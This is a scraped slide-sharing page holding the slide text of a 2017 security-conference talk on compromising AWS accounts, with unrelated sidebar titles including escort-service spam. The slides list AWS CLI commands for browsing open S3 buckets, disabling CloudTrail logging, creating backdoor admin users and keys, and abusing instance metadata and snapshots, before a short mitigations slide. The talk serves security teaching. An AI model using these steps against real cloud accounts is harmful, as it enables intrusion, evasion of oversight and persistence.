How to convert PDF to text with Nanonetsnaman860154
 

Dernier (20)

Maximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptxMaximizing Board Effectiveness 2024 Webinar.pptx
Maximizing Board Effectiveness 2024 Webinar.pptx
 
08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men08448380779 Call Girls In Civil Lines Women Seeking Men
08448380779 Call Girls In Civil Lines Women Seeking Men
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
Unblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen FramesUnblocking The Main Thread Solving ANRs and Frozen Frames
Unblocking The Main Thread Solving ANRs and Frozen Frames
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
Breaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path MountBreaking the Kubernetes Kill Chain: Host Path Mount
Breaking the Kubernetes Kill Chain: Host Path Mount
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | DelhiFULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
FULL ENJOY 🔝 8264348440 🔝 Call Girls in Diplomatic Enclave | Delhi
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)Injustice - Developers Among Us (SciFiDevCon 2024)
Injustice - Developers Among Us (SciFiDevCon 2024)
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024A Call to Action for Generative AI in 2024
A Call to Action for Generative AI in 2024
 
Understanding the Laravel MVC Architecture
Understanding the Laravel MVC ArchitectureUnderstanding the Laravel MVC Architecture
Understanding the Laravel MVC Architecture
 
Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101Salesforce Community Group Quito, Salesforce 101
Salesforce Community Group Quito, Salesforce 101
 
My Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 PresentationMy Hashitalk Indonesia April 2024 Presentation
My Hashitalk Indonesia April 2024 Presentation
 
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
Automating Business Process via MuleSoft Composer | Bangalore MuleSoft Meetup...
 
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for PartnersEnhancing Worker Digital Experience: A Hands-on Workshop for Partners
Enhancing Worker Digital Experience: A Hands-on Workshop for Partners
 
SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024SQL Database Design For Developers at php[tek] 2024
SQL Database Design For Developers at php[tek] 2024
 
How to convert PDF to text with Nanonets
How to convert PDF to text with NanonetsHow to convert PDF to text with Nanonets
How to convert PDF to text with Nanonets
 

Pwned Cloud Society - BsidesSLC 2017

  • 2. BRYCE KUNZ Bryce Kunz - @TweekFawkes @TweekFawkes PriorWork Experience: • Adobe DMa – RedTeam • DoD/NSA – Exploitation • DHS/OneNet – Defense Trainings & Sessions • RSA – mesos/docker • SAINTCON – osquery • BsidesLV – mesos/docker • Derbycon -WhiteLightning
  • 3. CLOUD… Bryce Kunz - @TweekFawkes … only one thing is for sure … AWS
  • 4. SO MUCH… Bryce Kunz - @TweekFawkes … only one thing is for sure … AWS Azure
  • 5. SOO MUCH… Bryce Kunz - @TweekFawkes … only one thing is for sure … AWS Azure Google
  • 6. SOOO MUCH… Bryce Kunz - @TweekFawkes … only one thing is for sure … AWS Azure GoogleRackspace
  • 7. NEW-NEW Bryce Kunz - @TweekFawkes … they want that new-new … AWS Azure GoogleRackspace etc…
  • 8. OLD IS NEW Bryce Kunz - @TweekFawkes … but really it’s not that much different …
  • 9. OLD WAYS Bryce Kunz - @TweekFawkes … push code … … jenkins … … do work son … CIBatch Jobs Web Dev Code
  • 10. NEW Bryce Kunz - @TweekFawkes … code … … some overpriced hipster services … … do work … CIBatch Jobs Web Dev S3 BucketBatch Lambda Code CodeDeploy
  • 11. ADMINS Bryce Kunz - @TweekFawkes ... admin … AD/LDAP CIBatch Jobs Web Admin Dev Code
  • 12. NEW ADMIN Bryce Kunz - @TweekFawkes … admins got to admin … AD/LDAP CIBatch Jobs Web Admin Dev Management Console S3 BucketBatch Lambda Code CodeDeploy
  • 13. DEVOPS Bryce Kunz - @TweekFawkes … DevOp-ocalypse … AD/LDAP CIBatch Jobs Web DevOps Management Console S3 BucketBatch Lambda Code CodeDeploy
  • 14. DEVOPS Bryce Kunz - @TweekFawkes … DevOp-ocalypse … AD/LDAP CIBatch Jobs Web DevOps Management Console S3 BucketBatch Lambda Code CodeDeploy
  • 15. BAD DAYS Bryce Kunz - @TweekFawkes …happen…
  • 16. BAD DAYS Bryce Kunz - @TweekFawkes … $50k!?!?!?
  • 17. BAD DAYS Bryce Kunz - @TweekFawkes …EC2 instances destroyed…
  • 18. INITIAL ACCESS Bryce Kunz - @TweekFawkes Find a AWS Secrets • Open Source Intel • Code Repositories • DeploymentTools • Configuration Files
  • 19. PASTEBIN Bryce Kunz - @TweekFawkes Find a AWS Secrets • Open Source Intel • - PasteBin.com
  • 20. GITHUB Bryce Kunz - @TweekFawkes Find a AWS Secrets • Open Source Intel • - PasteBin.com • - GitHub.com
  • 21. REPOS Bryce Kunz - @TweekFawkes Find a AWS Secrets • Open Source Intel • Code Repositories • - BitBucket, GitLab • - Gerrit, GitBlit, Git • - SVN, etc…
  • 22. DEPLOY ACCESS Bryce Kunz - @TweekFawkes Find a AWS Secrets • Open Source Intel • Code Repositories • DeploymentTools • - Puppet, etc… • - Jenkins, etc…
  • 23. HACK & D/L ACCESS Bryce Kunz - @TweekFawkes Find a AWS Secrets • Open Source Intel • Code Repositories • DeploymentTools • Configuration Files • - Classic Hacks • -- D/L Secrets
  • 24. WHAT… Bryce Kunz - @TweekFawkes Services - Many Services - API Access - User Access … is the point?
  • 25. SO MANY … Bryce Kunz - @TweekFawkes …
  • 26. TYPES Bryce Kunz - @TweekFawkes …
  • 27. API Bryce Kunz - @TweekFawkes …
  • 28. USERS Bryce Kunz - @TweekFawkes …
  • 29. SETUP Bryce Kunz - @TweekFawkes Preparation • New EC2 Instance • Setup AWSTools On an Ubuntu 16.x EC2 instance… apt-get update apt-get install python-pip pip install aws-shell pip install awscli
  • 30. S3 BUCKETS Bryce Kunz - @TweekFawkes … S3 Bucket Amazon S3
  • 31. REGION ping -c3 exam.ple dig +nocmd exam.ple any +multiline +noall +answer nslookup 54.231.184.255 S3 Buckets • Find Region S3 Bucket Amazon S3
  • 32. S3 BUCKETS aws s3 ls s3://exam.ple/ --no-sign-request --region us-west-2 S3 Buckets • Find Region • Browse Files S3 Bucket Amazon S3
  • 33. S3 BUCKETS aws s3 ls s3://exam.ple/ --no-sign-request --region us-west-2 S3 Buckets • World Browsable S3 Bucket Amazon S3
  • 34. S3 BUCKETS aws s3 ls s3://flaws.cloud/ --no-sign-request --region us-west-2 S3 Buckets • World Browsable S3 Bucket Amazon S3
  • 35. S3 BUCKETS aws s3 ls s3://...exam.ple/ --no-sign-request --region us-west-2 S3 Buckets • Sensitive Files S3 Bucket Amazon S3
  • 36. S3 BUCKETS aws s3 sync s3://…exam.ple/ . --no-sign-request --region us-west-2 S3 Buckets • Sensitive Files S3 Bucket Amazon S3
  • 37. S3 BUCKETS git log S3 Buckets • Sensitive Files • - GIT • - SVN • - etc… S3 Bucket Amazon S3
  • 38. S3 BUCKETS git checkout f7c… S3 Buckets • Sensitive Files S3 Bucket Amazon S3
  • 39. LEVERAGE SECRETS Bryce Kunz - @TweekFawkes Preparation • New EC2 Instance • Setup AWSTools • Leverage Secrets
  • 40. CONFIGURE aws configure --profile example Preparation • New EC2 Instance • Setup AWSTools • Leverage Secrets AWS CLI AWS Cloud
  • 41. VERIFY (remove the spaces around the = character for easier scripts) Preparation • New EC2 Instance • Setup AWSTools • Leverage Secrets AWS CLI AWS Cloud
  • 42. WHOAMI aws --profile example sts get-caller-identity Survey Access • Who AreWe? AWS CLI AWS Cloud
  • 43. IAM WHO aws --profile example iam get-user Survey Access • Who AreWe? • IAMWho? AWS CLI AWS Cloud
  • 44. LOGGING Bryce Kunz - @TweekFawkes Survey Access • Who AreWe? • Logging? AWS CloudTrailAWS CLI AWS Cloud
  • 45. LOGGING? aws --profile api_cloudtrail cloudtrail describe-trails Survey Access • Who AreWe? • Logging? AWS CloudTrail AWS CloudTrailAWS CLI AWS Cloud
  • 46. STOP-LOGS aws --profile api_cloudtrail configure set region us-east-1 aws --profile api_cloudtrail cloudtrail stop-logging --name "arn:aws:cloudtrail:us-east- 1:…:trail/…" Survey Access • Who AreWe? • Logging? AWS CloudTrail
  • 47. OPSEC? Survey Access • Who AreWe? • Logging? AWS CloudTrail AWS CloudTrailAWS CLI AWS Cloud
  • 48. LOGGING? aws --profile api_cloudtrail cloudtrail describe-trails Survey Access • Who AreWe? • Logging? AWS CloudTrail AWS CloudTrailAWS CLI AWS Cloud
  • 49. NO MULTI aws --profile api_cloudtrail configure set region us-east-1 aws --profile api_cloudtrail cloudtrail update-trail --name "arn:aws:cloudtrail:us-east- 1:…:trail/…" --no-is-multi-region-trail --no-include-global-service-events Stops logging in all regions… • EXCEPT the HomeRegion AWS CloudTrail
  • 50. OPSEC… … Stops logging in all regions… • EXCEPT the HomeRegion AWS CloudTrail
  • 51. PERSIST Bryce Kunz - @TweekFawkes Persistence • SessionToken • -Valid for 12 Hours • Add Key • Add Account AWS CLI AWS Cloud
  • 52. PERSIST aws --profile api_cloudtrail sts get-session-token Persistence • SessionToken • -Valid for 12 Hours AWS CLI AWS Cloud
  • 53. SETUP vi ~/.aws/credentials Persistence • SessionToken • -Valid for 12 Hours AWS CLI AWS Cloud
  • 54. SESSION aws --profile sessionTokens sts get-caller-identity Persistence • SessionToken • -Valid for 12 Hours AWS CLI AWS Cloud
  • 55. ADD KEY To an already existing user…. Persistence • SessionToken • -Valid for 12 Hours • Add Key AWS CLI AWS Cloud
  • 56. ADD KEY Persistence • SessionToken • -Valid for 12 Hours • Add Key aws --profile api_iam iam list-users AWS CLI AWS Cloud
  • 57. ADD KEY Persistence • SessionToken • -Valid for 12 Hours • Add Key aws --profile api_iam iam create-access-key --user-name test AWS CLI AWS Cloud
  • 58. ADD USER Bryce Kunz - @TweekFawkes Persistence • SessionToken • -Valid for 12 Hours • Add Key • Add User AWS CLI AWS Cloud
  • 59. ADD USER aws --profile api_iam iam create-user --user-name mryan aws --profile api_iam iam add-user-to-group --user-name mryan --group-name Admin Persistence • SessionToken • -Valid for 12 Hours • Add Key • Add User
  • 60. ADD KEY aws --profile api_iam iam create-access-key --user-name mryan Persistence • SessionToken • -Valid for 12 Hours • Add Key • Add User
  • 61. ADD PASS aws --profile api_iam iam create-login-profile --user-name mryan --password examplepass Persistence • SessionToken • -Valid for 12 Hours • Add Key • Add User
  • 62. NEW EC2 Bryce Kunz - @TweekFawkes …
  • 63. EC2 META Metadata Service: 169.254.169.254 curl http://169.254.169.254/latest/meta-data/ RFC-3927: https://tools.ietf.org/html/rfc3927 AWS: http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html AWS QueryTool: https://aws.amazon.com/code/1825 …
  • 64. AZURE META Metadata Service: 169.254.169.254 curl http://169.254.169.254/metadata/v1/maintenance curl http://169.254.169.254/metadata/v1/InstanceInfo (these are mostly useless for hackers…) but useful information is copied into the … /var/lib/waagent directory when the instance is created… (root access needed) • IP address, hostname, subscription ID, resource group name, etc… …
  • 65. SNAPS &IAM aws --profile api_ec2 ec2 create-volume --availability-zone us-west-2a --region us-west-2 -- snapshot-id snap-0b49342abd1bdcb89 mount /dev/xvdb1 /mnt find /mnt -type f -mtime -1 2>/dev/null | grep -v "/var/" | grep -v "/proc/" | grep -v "/dev/" | grep -v "/sys/" | grep -v "/run/" | less …
  • 66. HARD BOOT Bryce Kunz - @TweekFawkes … Horrible OPSEC but it works… - Power off a server - Mount the server’s hard drive using another EC2 - Modify the server for remote access (e.g. add an SSH key to root user) - Power back on the server & PROFIT!
  • 67. MITIGATIONS • Single Purpose Secrets • Limited the Access of each Secret • Create roles and limit the access of each role • You can ACL off secrets to only work from certain IP addresses • Log API calls (e.g. cloudtrail) • Never use root secrets (use as a break glass account only) • Rotate Secrets Frequently • Encrypt secrets within GIT and other data stores …
  • 68. THANKS! Bryce Kunz - @TweekFawkes …
  • 69. References • http://level4- 1156739cfb264ced6de514971a4bef68.flaws.cloud/hint 2.html • https://www.slideshare.net/chrisgates/devoops- attacks-and-defenses-for-devops-toolchains • http://flaws.cloud/ • https://danielgrzelak.com/disrupting-aws-logging- a42e437d6594 • https://danielgrzelak.com/backdooring-an-aws- account-da007d36f8f9 • https://danielgrzelak.com/exploring-an-aws-account- after-pwning-it-ff629c2aae39 • http://docplayer.net/24014561-Defending-the-cloud- from-the-full-stack-hack.html